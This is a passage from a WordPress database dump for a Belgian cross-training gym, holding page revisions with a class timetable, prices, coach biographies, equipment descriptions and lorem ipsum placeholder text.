hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-23 18:14:55', '2013-05-23 18:14:55', '', 11, 'http://www.crosstrainingcenter.be/?p=18', 0, 'revision', '', 0),
(359, 1, '2013-10-09 21:58:57', '2013-10-09 21:58:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-09 21:58:57', '2013-10-09 21:58:57', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(19, 1, '2013-05-23 18:12:43', '2013-05-23 18:12:43', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 18:12:43', '2013-05-23 18:12:43', '', 5, 'http://www.crosstrainingcenter.be/?p=19', 0, 'revision', '', 0),
(20, 1, '2013-05-24 14:33:49', '2013-05-24 14:33:49', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n        &lt;li&gt;Formation Personal Trainer (Parnasse)&lt;/li&gt;\r\n	&lt;li&gt;Formation Les mills Coach BodyBoxe&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'publish', 'closed', 'open', '', 'lequipe', '', '', '2015-04-21 09:46:39', '2015-04-21 09:46:39', '', 0, 'http://www.crosstrainingcenter.be/?page_id=20', 0, 'page', '', 0),
(479, 1, '2015-04-21 09:39:41', '2015-04-21 09:39:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n        &lt;li&gt;Formation Personal Trainer (Parnasse)&lt;/li&gt;\r\n	&lt;li&gt;Formation Les mills Coach BodyBoxe&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:39:41', '2015-04-21 09:39:41', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
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(22, 1, '2013-05-24 14:34:07', '2013-05-24 14:34:07', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de 